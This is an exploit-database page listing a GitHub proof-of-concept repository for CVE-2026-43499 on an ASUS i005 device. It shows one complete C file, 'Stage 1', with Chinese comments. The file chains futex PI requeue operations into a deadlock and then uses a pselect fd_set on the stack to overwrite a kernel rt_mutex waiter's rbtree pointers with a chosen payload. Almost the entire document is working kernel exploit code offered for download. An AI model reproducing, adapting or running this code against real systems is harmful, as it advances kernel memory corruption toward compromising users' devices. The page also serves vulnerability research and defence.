Exploit database

GH-c138f49e12cfbda9c38e831e92b126e9

huaguiqi/asus-i005-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files38
huaguiqi/asus-i005-cve-2026-43499Revision 759f8fe75bb8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/legacy/poc_stage1_single.c

C · 5,499 bytes
/*
 * CVE-2026-43499 Stage 1 (v4): 单 shift 测试
 *
 * 用法: poc_stage1_single <shift> [payload_word_hex]
 *
 * shift 语义: waiter 起点相对 stack_fds 起点的 word 偏移.
 * 基于 i005 反汇编, 预期 = 10 (0x50/8).
 *
 * 采用 payload = 0 更安全: rbtree 指针归零, 遍历直接返回, 不卡死.
 * payload = 0xdeadbeef... 用于确认命中.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <time.h>
#include <stdint.h>
#include <signal.h>
#include <sys/syscall.h>

#ifndef SYS_futex
#define SYS_futex 98
#endif
#ifndef SYS_pselect6
#define SYS_pselect6 72
#endif

#define FUTEX_WAKE              1
#define FUTEX_LOCK_PI           6
#define FUTEX_UNLOCK_PI         7
#define FUTEX_WAIT_REQUEUE_PI  11
#define FUTEX_CMP_REQUEUE_PI   12
#define FUTEX_PRIVATE_FLAG    128

/* nfds=320 -> 单份 40B, 3 份 120B, 走栈路径 */
#define PSELECT_NFDS 320

static int futex1      = 0;
static int futex2      = 0;
static int cycle_futex = 0;

static volatile int w_ready = 0;
static volatile int o_ready = 0;
static volatile int m_done  = 0;

static int g_shift = 10;
static unsigned long g_payload = 0;

static int futex_lock_pi(int *u)  { return syscall(SYS_futex, u, FUTEX_LOCK_PI|FUTEX_PRIVATE_FLAG, 0, NULL, NULL, 0); }
static int futex_unlock_pi(int *u){ return syscall(SYS_futex, u, FUTEX_UNLOCK_PI|FUTEX_PRIVATE_FLAG, 0, NULL, NULL, 0); }
static int futex_wait_requeue_pi(int *u, int v, int *u2, struct timespec *ts) {
    return syscall(SYS_futex, u, FUTEX_WAIT_REQUEUE_PI|FUTEX_PRIVATE_FLAG, v, ts, u2, 0);
}
static int futex_cmp_requeue_pi(int *u, int v, int *u2, int w, int r) {
    return syscall(SYS_futex, u, FUTEX_CMP_REQUEUE_PI|FUTEX_PRIVATE_FLAG, w, r, u2, v);
}
static int futex_wake(int *u, int n) { return syscall(SYS_futex, u, FUTEX_WAKE|FUTEX_PRIVATE_FLAG, n, NULL, NULL, 0); }

/*
 * fd_set 布局: 40 字节 = 5 个 unsigned long (word).
 * 3 个集合共 15 word. stack_fds[0..14].
 * waiter 起点在 stack_fds[10] (=0x50/8).
 *
 * 我们只想让 tree_entry (waiter +0x00 = stack_fds[10])
 * 和 pi_tree_entry (waiter +0x18 = stack_fds[13]) 被 payload 覆盖.
 */
static void do_pselect(int shift)
{
    /* 每个 fd_set = 5 word (40B), 3 个共 15 word */
    unsigned long word[15];
    for (int i = 0; i < 15; i++) word[i] = 0;

    /* 只在 waiter 起点处 (word index = shift) 放 payload */
    int idx = shift;
    if (idx >= 0 && idx < 15) {
        /* tree_entry: 3 word (rb_parent_color, rb_right, rb_left) */
        for (int k = 0; k < 3 && (idx + k) < 15; k++)
            word[idx + k] = g_payload;
    }

    unsigned long *in_set  = &word[0];
    unsigned long *out_set = &word[5];
    unsigned long *ex_set  = &word[10];

    struct timespec tv;
    clock_gettime(CLOCK_MONOTONIC, &tv);
    tv.tv_nsec += 1000000;
    if (tv.tv_nsec >= 1000000000L) { tv.tv_sec += 1; tv.tv_nsec -= 1000000000L; }

    syscall(SYS_pselect6, PSELECT_NFDS, in_set, out_set, ex_set, &tv, NULL);
}

static void *thread_w(void *arg)
{
    (void)arg;
    if (futex_lock_pi(&cycle_futex) != 0) { printf("[W] lock err %s\n", strerror(errno)); return NULL; }
    w_ready = 1;
    printf("[W] holds cycle_futex\n");

    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    ts.tv_sec += 3;

    int ret = futex_wait_requeue_pi(&futex1, 0, &futex2, &ts);
    printf("[W] WAIT_REQUEUE_PI ret=%d errno=%d\n", ret, errno);

    printf("[W] pselect (shift=%d, payload=0x%016lx)...\n", g_shift, g_payload);
    fflush(stdout);
    do_pselect(g_shift);
    printf("[W] pselect returned\n");
    fflush(stdout);

    while (!m_done) usleep(1000);
    return NULL;
}

static void *thread_o(void *arg)
{
    (void)arg;
    if (futex_lock_pi(&futex2) != 0) return NULL;
    o_ready = 1;
    printf("[O] holds futex2, blocking on cycle_futex\n");
    int ret = futex_lock_pi(&cycle_futex);
    printf("[O] lock cycle ret=%d errno=%d\n", ret, errno);
    futex_unlock_pi(&futex2);
    return NULL;
}

static void *thread_m(void *arg)
{
    (void)arg;
    while (!w_ready || !o_ready) usleep(500);
    usleep(300 * 1000);

    int ret = futex_cmp_requeue_pi(&futex1, 0, &futex2, 1, 1);
    printf("[M] CMP_REQUEUE_PI ret=%d errno=%d\n", ret, errno);
    if (ret != -1 || errno != EDEADLK) return NULL;

    usleep(200 * 1000);

    printf("[M] locking cycle_futex -> PI chain...\n");
    fflush(stdout);
    alarm(5);
    int r2 = futex_lock_pi(&cycle_futex);
    alarm(0);
    printf("[M] lock cycle ret=%d errno=%d\n", r2, errno);
    fflush(stdout);
    return NULL;
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "用法: %s <shift> [payload_word_hex=0]\n", argv[0]);
        return 1;
    }
    g_shift = atoi(argv[1]);
    if (argc >= 3) g_payload = strtoul(argv[2], NULL, 16);

    printf("=== Stage 1 v4: shift=%d payload=0x%016lx nfds=%d ===\n",
           g_shift, g_payload, PSELECT_NFDS);
    fflush(stdout);

    pthread_t tw, to, tm;
    pthread_create(&tw, NULL, thread_w, NULL);
    while (!w_ready) usleep(500);
    pthread_create(&to, NULL, thread_o, NULL);
    while (!o_ready) usleep(500);
    pthread_create(&tm, NULL, thread_m, NULL);

    pthread_join(tm, NULL);

    m_done = 1;
    futex_wake(&futex1, 1);
    futex_wake(&futex2, 1);
    futex_unlock_pi(&cycle_futex);
    futex_unlock_pi(&futex2);
    pthread_join(tw, NULL);
    pthread_join(to, NULL);
    printf("=== done ===\n");
    return 0;
}